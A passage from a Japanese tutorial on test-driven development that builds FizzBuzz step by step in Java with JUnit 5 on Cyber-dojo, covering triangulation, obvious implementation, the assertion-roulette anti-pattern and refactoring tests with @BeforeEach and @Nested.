org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { @Test void _1を渡すと文字列1を返す() { //準備 FizzBuzz fizzbuzz = new FizzBuzz(); //実行と検証 assertEquals("1", fizzbuzz.convert(1)); } } テストも忘れずに実行します。全部OKで返ってくることを確認しましょう。 output +-- JUnit Jupiter [OK] | '-- FizzBuzzTest [OK] | '-- 1を渡すと文字列1を返す [OK] '-- JUnit Vintage [OK] Cyber-dojo上でのテスト実行は遅いので、若干まとめて実行する動きになってますが、実際は一つの修正ごとにテスト実行するのが望ましいです。 そうすることで、「今まさにバグを混入したタイミング」を掴むことができます。 そうすれば、どこを修正すればいいかは明白です。 バグ修正で一番しんどいのは原因の特定です。 頻繁にテストを回しながら実装することで、その労力を大幅にカットすることができます。 今回のコードは非常にシンプルなので、その恩恵がわかりづらいですが、実業務の複雑なコードを対象にした場合、この効果は非常に大きくなります。 最初のサイクルのまとめ 最初のサイクルについて 最初のサイクルは、非常にやることが多い。 テストクラスの作成 テストツールは正しく動くのか? テスト対象クラスの作成 だからこそ、テスト容易性の高いTODOを選ぶことが大事。 副作用としてひどいコードreturn "1";ができるが、それは以降のTODOで解消していく。 テクニックについて 最初のテストは必ず失敗するテストを書く:jUnitが動くことを確実に確認するためにfail("メッセージ")を使う。 テストは下から書く:下から書くことで、実装目的を明確にできるし、IDEの機能のおかげで効率よく実装できる。 TDDはペアプロ・モブプロに特に効く:テストを下から書くことも合わさり、実装目的が非常に明確になるため、ペアプロ・モブプロ時の半離脱状態を防げる。 仮実装:return "1";といったようなテストを通す最小限の実装を指す。テストコードのテストという意味合いもある。 jUnitを何度も回しながらリファクタリングする:バグ混入タイミングで検知できるため、修正が容易。TDDによる非常に大きな恩恵の一つ。 現時点のコードも改めて載せておきます。 FizzBuzz.java public class FizzBuzz { public String convert(int i) { return "1"; } } FizzBuzzTest.java import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { @Test void _1を渡すと文字列1を返す() { //準備 FizzBuzz fizzbuzz = new FizzBuzz(); //実行と検証 assertEquals("1", fizzbuzz.convert(1)); } } todoリスト テスト容易性:高 重要度:高 - [ ] 数を文字列に変換する - [x] 1を渡すと文字列"1"を返す - [ ] 3の倍数の時は数の代わりに「Fizz」に変換する - [ ] 5の倍数の時は数の代わりに「Buzz」に変換する - [ ] 3と5両方の倍数の時は数の代わりに「Buzz」に変換する テスト容易性:低 重要度:低 - [ ] 1からnまで - [ ] 1から100まで - [ ] プリントする 2つ目のサイクルを回す TODOリストの確認 todoリスト - [ ] 数を文字列に変換する - [x] 1を渡すと文字列"1"を返す 「1を渡すと文字列"1"を返す」というタスクは終わったので「x」をつけています。 でも、これで親タスクである「数を文字列に変換する」が終わったとは言えません。 「三角測量」というテクニックでこの親タスクの達成を目指します。 「三角測量」は個人的理解を言えば、データバリエーションを2つ用意し(点1・点2)、この点1・点2に基づいて、目指したい状態(点3)を実現するやり方です。 単一のテストだけでは不安がある時に用いるテクニックです。 今回は一番最初の実装ということもあり、テストが正しく実装できているのか不安ですので、このテクニックを用いてみましょう。 今回は以下のようなTODOリストとなります。 todoリスト - [ ] 数を文字列に変換する - [x] 1を渡すと文字列"1"を返す - [ ] 2を渡すと文字列"2"を返す 「2を渡すと文字列"2"を返す」を実装しつつ、「数を文字列に変換する」を実装していきます。 Red アンチパターン:アサーションルーレット その前に、よくあるアンチパターンを説明していきます。 FizzBuzzTest.java(避けた方が良い書き方:Assertion Roulette) import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { @Test void _1を渡すと文字列1を返す() { //準備 FizzBuzz fizzbuzz = new FizzBuzz(); //実行と検証 assertEquals("1", fizzbuzz.convert(1)); + assertEquals("2", fizzbuzz.convert(2)); } } こうやって、一つのテストメソッドに対して、複数のassertを重ねるやり方は、「アサーションルーレット」と呼ばれます。(ロシアンルーレットのメタファー?) この場合は「(デバッグしないと)どのassertで失敗したか分からない」ということを意味しています。 また、失敗した以降のassertは実行されないので、もしかしたら以降のassertが失敗してるかもしれず、目の前のバグを直しても終わらないという沼に入ってしまうことがあり得ます。 ただし、これがどんな場面でもアンチパターンかというと、そうでない場面もあり得ます。(E2Eテストなど) ただ、まずは疑ってかかるのが良いスタンス。 そうでない場面については、動画でt-wadaさんが答えているので見てみましょう(1:39:26〜1:41:20)↓ 2つ目のテストを書く ひとまず、望ましい書き方で2つ目のテストを書いてみましょう。 FizzBuzzTest.java(望ましい書き方) import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { @Test void _1を渡すと文字列1を返す() { //準備 FizzBuzz fizzbuzz = new FizzBuzz(); //実行と検証 assertEquals("1", fizzbuzz.convert(1)); } + + @Test + void _2を渡すと文字列2を返す() { + //準備 + FizzBuzz fizzbuzz = new FizzBuzz(); + //実行と検証 + assertEquals("2", fizzbuzz.convert(2)); + } } こちらの方が、どこで落ちたのかすぐに判別できるので、こちらの方が望ましいです。 また、assertが一つだけということで、何を検証すべきが明確になりやすく、保守しやすいコードと呼べます。 FizzBuzzTest.java(ひとまずのゴール) import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { @Test void _1を渡すと文字列1を返す() { //準備 FizzBuzz fizzbuzz = new FizzBuzz(); //実行と検証 assertEquals("1", fizzbuzz.convert(1)); } @Test void _2を渡すと文字列2を返す() { //準備 FizzBuzz fizzbuzz = new FizzBuzz(); //実行と検証 assertEquals("2", fizzbuzz.convert(2)); } } ということで、こちらのコードでテストを実行します。 output +-- JUnit Jupiter [OK] | '-- FizzBuzzTest [OK] | +-- 1を渡すと文字列1を返す [OK] | '-- 2を渡すと文字列2を返す [X] expected: <2> but was: <1> '-- JUnit Vintage [OK] 「1を渡すと文字列1を返す」は成功。そうですね、テスト対象をいじってないので、期待通りです。 「2を渡すと文字列2を返す」は失敗。テスト対象をいじってないので、こちらも期待通りです。 Green:三角測量の実践 (再掲) 「三角測量」は個人的理解を言えば、データバリエーションを2つ用意し(点1・点2)、この点1・点2に基づいて、目指したい状態(点3)を実現するやり方です。 単一のテストだけでは不安がある時に用いるテクニックです。 今回は一番最初の実装ということもあり、テストが正しく実装できているのか不安ですので、このテクニックを用いてみましょう。 テストを増やすことによって、点1・点2が用意できました。 このテストコードの2つのassertを成功させるという目標を明確にすることで、実装のゴールが非常に明確になりました。 あるべき実装に変えていきましょう。 実際の実装ではこのタイミングであるべき実装を色々調べてみることになるでしょう。 その結果、数値を文字列に変換するString.valueOf()に行き着いたとします。 実際にコードに落としてみましょう。 FizzBuzz.java(差分) public class FizzBuzz { public String convert(int i) { - return "1"; + return String.valueOf(i); } } FizzBuzz.java(ひとまずのゴール) public class FizzBuzz { public String convert(int i) { return String.valueOf(i); } } テストを実行しましょう。 output +-- JUnit Jupiter [OK] | '-- FizzBuzzTest [OK] | +-- 1を渡すと文字列1を返す [OK] | '-- 2を渡すと文字列2を返す [OK] '-- JUnit Vintage [OK] 無事、全てのテストに合格しました! 同時に三角測量というテクニックも身につけることができました! Refactor Red→Greenと来たので次はリファクタリングです。 変数名は大事なので、意味のある名前に置き換えましょう。 iをnumに変えましょう。(もっと良い名前もあると思いますが、勘弁してください) FizzBuzz.java(差分) public class FizzBuzz { - public String convert(int i) { - return String.valueOf(i); - } + public String convert(int num) { + return String.valueOf(num); + } } テスト実行して正しいままであることを確認します。(コンソールすら割愛) 2つ目のサイクルのまとめ テクニックについて 三角測量:二つのテストコードを用いて、仮実装をあるべき実装に変えていくやり方。テストに不安を感じる時に使うテクニック。 現時点のコードも改めて載せておきます。 FizzBuzz.java public class FizzBuzz { public String convert(int num) { return String.valueOf(num); } } FizzBuzzTest.java import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { @Test void _1を渡すと文字列1を返す() { //準備 FizzBuzz fizzbuzz = new FizzBuzz(); //実行と検証 assertEquals("1", fizzbuzz.convert(1)); } @Test void _2を渡すと文字列2を返す() { //準備 FizzBuzz fizzbuzz = new FizzBuzz(); //実行と検証 assertEquals("2", fizzbuzz.convert(2)); } } todoリスト テスト容易性:高 重要度:高 - [x] 数を文字列に変換する - [x] 1を渡すと文字列"1"を返す - [x] 2を渡すと文字列"2"を返す - [ ] 3の倍数の時は数の代わりに「Fizz」に変換する - [ ] 5の倍数の時は数の代わりに「Buzz」に変換する - [ ] 3と5両方の倍数の時は数の代わりに「Buzz」に変換する テスト容易性:低 重要度:低 - [ ] 1からnまで - [ ] 1から100まで - [ ] プリントする 3つ目のサイクルを回す TODOリストの確認 次のTODOリストを選択しましょう。 todoリスト - [ ] 3の倍数の時は数の代わりに「Fizz」に変換する 初回と同じように、もう少し具体性を上げて記載しましょう。 todoリスト - [ ] 3の倍数の時は数の代わりに「Fizz」に変換する - [ ] 3を渡すと文字列「Fizz」を返す Red テストコードを書きます。 FizzBuzzTest.java import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { @Test void _1を渡すと文字列1を返す() { //準備 FizzBuzz fizzbuzz = new FizzBuzz(); //実行と検証 assertEquals("1", fizzbuzz.convert(1)); } @Test void _2を渡すと文字列2を返す() { //準備 FizzBuzz fizzbuzz = new FizzBuzz(); //実行と検証 assertEquals("2", fizzbuzz.convert(2)); } + + @Test + void _3を渡すと文字列Fizzを返す() { + //準備 + FizzBuzz fizzbuzz = new FizzBuzz(); + //実行と検証 + assertEquals("Fizz", fizzbuzz.convert(3)); + } } リファクタリングの基準で「3アウト制度」があります。(2アウト制度もあります) その観点からするとリファクタリングしたくなりますが、ここではまだしません。 リファクタリングは元の状態が壊れていないことを確認しながら行うのが望ましいやり方です。 現時点ではこの3つ目のテストは失敗してしまいます。 「壊れていないことを確認しながら」というのができない状態にあります。 なので、まずはこの3つ目のテストをグリーンに持っていきます。 Green まずは最短でグリーンにします。綺麗に書くこと(=リファクタリング)は後回しです。 FizzBuzz.java public class FizzBuzz { public String convert(int num) { + if (num == 3) return "Fizz"; return String.valueOf(num); } } テストを動かし、成功を確認します。 output :stdout: . +-- JUnit Jupiter [OK] | '-- FizzBuzzTest [OK] | +-- 3を渡すと文字列Fizzを返す [OK] | +-- 1を渡すと文字列1を返す [OK] | '-- 2を渡すと文字列2を返す [OK] '-- JUnit Vintage [OK] (省略) 現時点のコードはこうなっています。 FizzBuzz.java public class FizzBuzz { public String convert(int num) { if (num == 3) return "Fizz"; return String.valueOf(num); } } FizzBuzzTest.java import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { @Test void _1を渡すと文字列1を返す() { //準備 FizzBuzz fizzbuzz = new FizzBuzz(); //実行と検証 assertEquals("1", fizzbuzz.convert(1)); } @Test void _2を渡すと文字列2を返す() { //準備 FizzBuzz fizzbuzz = new FizzBuzz(); //実行と検証 assertEquals("2", fizzbuzz.convert(2)); } @Test void _3を渡すと文字列Fizzを返す() { //準備 FizzBuzz fizzbuzz = new FizzBuzz(); //実行と検証 assertEquals("Fizz", fizzbuzz.convert(3)); } } Refactor テストコード:3アウト制 3アウト制によるリファクタリング 現状テストは全て成功で終わる状態です。 つまり「壊れていないことを確認しながら修正できる=リファクタリングできる」という条件が整いました。 ということで、3アウトしているテストコードをリファクタリングしていきましょう。 FizzBuzzTest.java(リファクタリング前) import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { @Test void _1を渡すと文字列1を返す() { //準備 FizzBuzz fizzbuzz = new FizzBuzz(); //実行と検証 assertEquals("1", fizzbuzz.convert(1)); } @Test void _2を渡すと文字列2を返す() { //準備 FizzBuzz fizzbuzz = new FizzBuzz(); //実行と検証 assertEquals("2", fizzbuzz.convert(2)); } @Test void _3を渡すと文字列Fizzを返す() { //準備 FizzBuzz fizzbuzz = new FizzBuzz(); //実行と検証 assertEquals("Fizz", fizzbuzz.convert(3)); } } 「準備」の共通化 「準備」フェーズは重複しやすいため、テストツールはカバーしてくれてることが多いです。 jUnitだと@BeforeEachアノテーションが該当します。 実際に書いてみましょう。 FizzBuzzTest.java(差分) import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { + @BeforeEach + void 前準備() { + } @Test void _1を渡すと文字列1を返す() { //準備 FizzBuzz fizzbuzz = new FizzBuzz(); //実行と検証 assertEquals("1", fizzbuzz.convert(1)); } @Test void _2を渡すと文字列2を返す() { //準備 FizzBuzz fizzbuzz = new FizzBuzz(); //実行と検証 assertEquals("2", fizzbuzz.convert(2)); } @Test void _3を渡すと文字列Fizzを返す() { //準備 FizzBuzz fizzbuzz = new FizzBuzz(); //実行と検証 assertEquals("Fizz", fizzbuzz.convert(3)); } } スキルのある人はいきなり「準備」の中身を実装できるでしょう。 ただ、そうじゃない人もいるし、スキルのある人でも覚え違いでとんでもない泥沼にハマってしまうこともあるでしょう。 ということで今回は、小さくグリーンをキープしたまま移行するやり方を考えます。 小さいステップでグリーンをキープしたままリファクタリングする 「準備」を共通化するということは、「実行と検証」はそれぞれに残るということです。 そうなると、共通化すべきポイントは「fizzbuzz」という変数になります。 そのためには、「fizzbuzz」をメンバ変数に格上げする必要がありそうです。 IDEの機能を使えば簡単に作れます。t-wadaさんの動画で確認しましょう。(1:48:06〜1:48:56) またしてもCyber-dojoではやってくれないので、手動でやってみましょう。 (以下は、IDEが自動でやってくれる範囲の変更です。) FizzBuzzTest.java(差分) import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { + private FizzBuzz fizzbuzz; @BeforeEach void 前準備() { } @Test void _1を渡すと文字列1を返す() { //準備 - FizzBuzz fizzbuzz = new FizzBuzz(); + fizzbuzz = new FizzBuzz(); //実行と検証 assertEquals("1", fizzbuzz.convert(1)); } @Test void _2を渡すと文字列2を返す() { //準備 FizzBuzz fizzbuzz = new FizzBuzz(); //実行と検証 assertEquals("2", fizzbuzz.convert(2)); } @Test void _3を渡すと文字列Fizzを返す() { //準備 FizzBuzz fizzbuzz = new FizzBuzz(); //実行と検証 assertEquals("Fizz", fizzbuzz.convert(3)); } } ここでテストしても、テストは失敗しません。安全にリファクタリングができています。 「fizzbuzz」はメンバ変数になったので、「前準備()」でインスタンス化しても良さそうな気がします。 FizzBuzzTest.java(差分) import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { private FizzBuzz fizzbuzz; @BeforeEach void 前準備() { + fizzbuzz = new FizzBuzz(); } @Test void _1を渡すと文字列1を返す() { //準備 - fizzbuzz = new FizzBuzz(); //実行と検証 assertEquals("1", fizzbuzz.convert(1)); } @Test void _2を渡すと文字列2を返す() { //準備 FizzBuzz fizzbuzz = new FizzBuzz(); //実行と検証 assertEquals("2", fizzbuzz.convert(2)); } @Test void _3を渡すと文字列Fizzを返す() { //準備 FizzBuzz fizzbuzz = new FizzBuzz(); //実行と検証 assertEquals("Fizz", fizzbuzz.convert(3)); } } ここでテストしても、テストは失敗しません。これも安全にリファクタリングができています。 現時点の状態を以下に示します。 FizzBuzzTest.java(いったんのゴール) import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { private FizzBuzz fizzbuzz; @BeforeEach void 前準備() { fizzbuzz = new FizzBuzz(); } @Test void _1を渡すと文字列1を返す() { //準備 //実行と検証 assertEquals("1", fizzbuzz.convert(1)); } @Test void _2を渡すと文字列2を返す() { //準備 FizzBuzz fizzbuzz = new FizzBuzz(); //実行と検証 assertEquals("2", fizzbuzz.convert(2)); } @Test void _3を渡すと文字列Fizzを返す() { //準備 FizzBuzz fizzbuzz = new FizzBuzz(); //実行と検証 assertEquals("Fizz", fizzbuzz.convert(3)); } } 残りのメソッドへの適用は簡単ですね。 ついでに不要なコメントも削除しましょう。 FizzBuzzTest.java(差分) import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { private FizzBuzz fizzbuzz; @BeforeEach void 前準備() { fizzbuzz = new FizzBuzz(); } @Test void _1を渡すと文字列1を返す() { - //準備 - //実行と検証 assertEquals("1", fizzbuzz.convert(1)); } @Test void _2を渡すと文字列2を返す() { - //準備 - FizzBuzz fizzbuzz = new FizzBuzz(); - //実行と検証 assertEquals("2", fizzbuzz.convert(2)); } @Test void _3を渡すと文字列Fizzを返す() { - //準備 - FizzBuzz fizzbuzz = new FizzBuzz(); - //実行と検証 assertEquals("Fizz", fizzbuzz.convert(3)); } } 最終的にはこんな感じ。だいぶスッキリしましたね。 FizzBuzzTest.java(ひとまずのゴール) import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { private FizzBuzz fizzbuzz; @BeforeEach void 前準備() { fizzbuzz = new FizzBuzz(); } @Test void _1を渡すと文字列1を返す() { assertEquals("1", fizzbuzz.convert(1)); } @Test void _2を渡すと文字列2を返す() { assertEquals("2", fizzbuzz.convert(2)); } @Test void _3を渡すと文字列Fizzを返す() { assertEquals("Fizz", fizzbuzz.convert(3)); } } テスト対象:歩幅の調整 規約に合わせる 「歩幅の調整」に入る前に、目についたところがあるので、先にそちらをリファクタリングします。 if文には{}が必要みたいなコーディング規約があったとするなら、そういった規約に合わせた修正もリファクタリングに含まれます。 FizzBuzz.java(差分) public class FizzBuzz { public String convert(int num) { - if (num == 3) return "Fizz"; + if (num == 3) { + return "Fizz"; + } return String.valueOf(num); } } FizzBuzz.java(ひとまずのゴール) public class FizzBuzz { public String convert(int num) { if (num == 3) { return "Fizz"; } return String.valueOf(num); } } 歩幅の調整:三角測量を経由しない実装 現在はこんな感じです。 FizzBuzz.java(現時点) public class FizzBuzz { public String convert(int num) { if (num == 3) { return "Fizz"; } return String.valueOf(num); } } 前回、「仮実装」から「あるべき実装」にするために「三角測量」を使って、丁寧にやりました。 ただ、「三角測量」は「単一のテストだけでは不安がある時に用いるテクニック」です。 現時点において、テストには不安はありません。実装イメージも湧いています。 わざわざ三角測量を適用するのは、ただ周り道にしか感じません。 もちろん、まだ不安な人は「三角測量」を用いても構いません。 このように開発者のスキルに合わせて使うテクニックを変えることを、TDDでは「歩幅の調整」と言います。 テスト駆動開発は開発者の「不安」に寄り添う開発テクニックです。 不安に感じるくらいなら、使えるものは使って、安心して開発するべきです。 今回は「三角測量」は使いません。なぜなら私は不安が無いからです。 「%(剰余)」を使えば、簡単に「3の倍数」を実現できそうなので、実装してみましょう。 FizzBuzz.java(差分) public class FizzBuzz { public String convert(int num) { - if (num == 3) { + if (num % 3 == 0) { return "Fizz"; } return String.valueOf(num); } } テストを動かしましょう。 成功しますね。完璧です。 FizzBuzz.java(ひとまずのゴール) public class FizzBuzz { public String convert(int num) { if (num % 3 == 0) { return "Fizz"; } return String.valueOf(num); } } 3つ目のサイクルのまとめ テクニックについて 3アウト制:リファクタリングの基準。3回同じコードを書いたらリファクタリングする。(人によっては2アウト制の人も居る) グリーンを維持したままリファクタリングする:レッドの状態でリファクタリングしてはいけない。 小さくリファクタリングする:バグの混入は大きく修正したときに発生する。グリーンを維持したままリファクタリングするために、1つ1つの手順は小さくする。 三角測量は必要に応じて使う:テストに不安を感じるときに使うテクニック。毎回使う必要はない。 現時点のコードも改めて載せておきます。 FizzBuzz.java public class FizzBuzz { public String convert(int num) { if (num % 3 == 0) { return "Fizz"; } return String.valueOf(num); } } FizzBuzzTest.java import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { private FizzBuzz fizzbuzz; @BeforeEach void 前準備() { fizzbuzz = new FizzBuzz(); } @Test void _1を渡すと文字列1を返す() { assertEquals("1", fizzbuzz.convert(1)); } @Test void _2を渡すと文字列2を返す() { assertEquals("2", fizzbuzz.convert(2)); } @Test void _3を渡すと文字列Fizzを返す() { assertEquals("Fizz", fizzbuzz.convert(3)); } } todoリスト テスト容易性:高 重要度:高 - [x] 数を文字列に変換する - [x] 1を渡すと文字列"1"を返す - [x] 2を渡すと文字列"2"を返す - [x] 3の倍数の時は数の代わりに「Fizz」に変換する - [x] 3を渡すと文字列「Fizz」を返す - [ ] 5の倍数の時は数の代わりに「Buzz」に変換する - [ ] 3と5両方の倍数の時は数の代わりに「Buzz」に変換する テスト容易性:低 重要度:低 - [ ] 1からnまで - [ ] 1から100まで - [ ] プリントする 4つ目のサイクルを回す TODOリストの確認 次のTODOリストを選択しましょう。 todoリスト - [ ] 5の倍数の時は数の代わりに「Buzz」に変換する 前回と同じように、もう少し具体性を上げて記載しましょう。 todoリスト - [ ] 5の倍数の時は数の代わりに「Buzz」に変換する - [ ] 5を渡すと文字列「Buzz」を返す Red テストコードを書きます。特にいうことはないですね。 FizzBuzzTest.java(差分) import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { private FizzBuzz fizzbuzz; @BeforeEach void 前準備() { fizzbuzz = new FizzBuzz(); } @Test void _1を渡すと文字列1を返す() { assertEquals("1", fizzbuzz.convert(1)); } @Test void _2を渡すと文字列2を返す() { assertEquals("2", fizzbuzz.convert(2)); } @Test void _3を渡すと文字列Fizzを返す() { assertEquals("Fizz", fizzbuzz.convert(3)); } + @Test + void _5を渡すと文字列Buzzを返す() { + assertEquals("Buzz", fizzbuzz.convert(5)); + } } FizzBuzzTest.java(ひとまずのゴール) import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { private FizzBuzz fizzbuzz; @BeforeEach void 前準備() { fizzbuzz = new FizzBuzz(); } @Test void _1を渡すと文字列1を返す() { assertEquals("1", fizzbuzz.convert(1)); } @Test void _2を渡すと文字列2を返す() { assertEquals("2", fizzbuzz.convert(2)); } @Test void _3を渡すと文字列Fizzを返す() { assertEquals("Fizz", fizzbuzz.convert(3)); } @Test void _5を渡すと文字列Buzzを返す() { assertEquals("Buzz", fizzbuzz.convert(5)); } } Green:明白な実装 明白な実装 さぁ「3」を実装した時のようにif (num == 5) return "Buzz";と書いてもいいのですが、どう考えても回り道です。 3を5に変えれば、簡単に実装できそうなのに、わざわざ遠回りをする必要性を感じません。 なぜ必要性を感じないかというと、どう実装すればいいかは明白で、テストにも不安が無いからです。 それならばいきなり最終的な形を実装してもいいでしょう。 不安が無いなら、一足飛びで綺麗な実装をしても良いのです。 これをTDDでは「明白な実装」というテクニックと呼びます。 FizzBuzz.java(差分) public class FizzBuzz { public String convert(int num) { if (num % 3 == 0) { return "Fizz"; } + if (num % 5 == 0) { + return "Buzz"; + } return String.valueOf(num); } } FizzBuzz.java(ひとまずのゴール) public class FizzBuzz { public String convert(int num) { if (num % 3 == 0) { return "Fizz"; } if (num % 5 == 0) { return "Buzz"; } return String.valueOf(num); } } テストを実行しましょう。成功します。 ただ、もしここで失敗してしまったのなら、少し謙虚になる必要がありそうです。 (テストコードが"3"のままだった、テスト対象コードが"Fizz"のままだったなど。) ただ、もしそうだとしても修正すべき箇所は明確です。追加したコードは数行程度なのですから。 Refactor 「明白な実装」をしたこともあり、今のところ、リファクタリングするポイントは見当たらなさそうです。 今回は不要でしょう。 誤解しないで欲しいのは「Refactor不要で終わるケースは稀」というスタンスで居てほしいということです。 Refactorは、TDDの効力で非常に大きな部分です。「RefactorのためにTDDがある」と言っても過言ではないほどです。 実を言うとRefactorを後回しにするようになったらそのPJはもうダメです。突然こんなこと言ってごめんね。2 でも本当です。2、3日後には、一生着手されないリファクタチケットが複数生まれます。 それが終わりの合図です。程なく、テストすら書かれなくなるので気をつけて。 そして開発の中心メンバーが離任したら、少しだけ間をおいて終わりがきます。 4つ目のサイクルのまとめ テクニックについて 明白な実装:テストに不安がなく、実装内容も明白な時は、「仮実装」を経由せずに、「あるべき実装」をしても良い。 Refactorを後回しにしてはいけない:「終わり」が来る。 現時点のコードも改めて載せておきます。 FizzBuzz.java public class FizzBuzz { public String convert(int num) { if (num % 3 == 0) { return "Fizz"; } if (num % 5 == 0) { return "Buzz"; } return String.valueOf(num); } } FizzBuzzTest.java import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { private FizzBuzz fizzbuzz; @BeforeEach void 前準備() { fizzbuzz = new FizzBuzz(); } @Test void _1を渡すと文字列1を返す() { assertEquals("1", fizzbuzz.convert(1)); } @Test void _2を渡すと文字列2を返す() { assertEquals("2", fizzbuzz.convert(2)); } @Test void _3を渡すと文字列Fizzを返す() { assertEquals("Fizz", fizzbuzz.convert(3)); } @Test void _5を渡すと文字列Buzzを返す() { assertEquals("Buzz", fizzbuzz.convert(5)); } } todoリスト テスト容易性:高 重要度:高 - [x] 数を文字列に変換する - [x] 1を渡すと文字列"1"を返す - [x] 2を渡すと文字列"2"を返す - [x] 3の倍数の時は数の代わりに「Fizz」に変換する - [x] 3を渡すと文字列「Fizz」を返す - [x] 5の倍数の時は数の代わりに「Buzz」に変換する - [x] 5を渡すと文字列「Buzz」を返す - [ ] 3と5両方の倍数の時は数の代わりに「Buzz」に変換する テスト容易性:低 重要度:低 - [ ] 1からnまで - [ ] 1から100まで - [ ] プリントする テストの保守性 TDDのプロセスおよびテクニックは説明できたので、少し実践的な話として「テストの保守性」に触れていきます。 このコードを保守することになったとします。 もしこれを新規参画者から見るとどうなるでしょうか? FizzBuzzTest.java import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { private FizzBuzz fizzbuzz; @BeforeEach void 前準備() { fizzbuzz = new FizzBuzz(); } @Test void _1を渡すと文字列1を返す() { assertEquals("1", fizzbuzz.convert(1)); } @Test void _2を渡すと文字列2を返す() { assertEquals("2", fizzbuzz.convert(2)); } @Test void _3を渡すと文字列Fizzを返す() { assertEquals("Fizz", fizzbuzz.convert(3)); } @Test void _5を渡すと文字列Buzzを返す() { assertEquals("Buzz", fizzbuzz.convert(5)); } } 少なくとも、テストコードだけ見ても「仕様がわからない」ですね。 FizzBuzz.java public class FizzBuzz { public String convert(int num) { if (num % 3 == 0) { return "Fizz"; } if (num % 5 == 0) { return "Buzz"; } return String.valueOf(num); } } 実装コードを見ればまだわかります。 多くの現場がこういう状況にあると思いますが、理想を言えば「テストコードから仕様が読み取れる」が望ましいです。 それを実践してみましょう。 仕様を読み取れるテストコードにするテクニック テストの構造化 class定義による構造化 実際、仕様レベルの表現とはどういうものでしょう? 今回で言えば仕様レベルの表現は「todoリスト」に残されています。 todoリスト テスト容易性:高 重要度:高 - [x] 数を文字列に変換する - [x] 1を渡すと文字列"1"を返す - [x] 2を渡すと文字列"2"を返す - [x] 3の倍数の時は数の代わりに「Fizz」に変換する - [x] 3を渡すと文字列「Fizz」を返す - [x] 5の倍数の時は数の代わりに「Buzz」に変換する - [x] 5を渡すと文字列「Buzz」を返す - [ ] 3と5両方の倍数の時は数の代わりに「Buzz」に変換する テスト容易性:低 重要度:低 - [ ] 1からnまで - [ ] 1から100まで - [ ] プリントする 具体的にいうと、 テストコードには3を渡すと文字列「Fizz」を返すは記載されていますが、 それが目指すところである3の倍数の時は数の代わりに「Fizz」に変換するという表現(仕様レベルの表現)が記載されていません。 でも、テストコードに記載れたメソッド自体は「3を渡すと文字列「Fizz」を返す」で嘘はありません。むしろ適切な命名です。 じゃぁどうすれば・・・ということで、以下に良い感じの書き方を示します。 @Nested と class を使います。 FizzBuzzTest.java(差分) import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { private FizzBuzz fizzbuzz; @BeforeEach void 前準備() { fizzbuzz = new FizzBuzz(); } @Test void _1を渡すと文字列1を返す() { assertEquals("1", fizzbuzz.convert(1)); } @Test void _2を渡すと文字列2を返す() { assertEquals("2", fizzbuzz.convert(2)); } + @Nested + class _3の倍数の時は数の代わりにFizzに変換する { @Test void _3を渡すと文字列Fizzを返す() { assertEquals("Fizz", fizzbuzz.convert(3)); } + } @Test void _5を渡すと文字列Buzzを返す() { assertEquals("Buzz", fizzbuzz.convert(5)); } } と書きたいところなんですが、Cyber-dojoではクラス名に日本語を使うとバグります。 通常の環境では日本語使えるんですが、ここは環境制約ですね・・・ ということで、Cyber-dojoに限り、以下のように書きましょうか。 FizzBuzzTest.java(差分) import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; 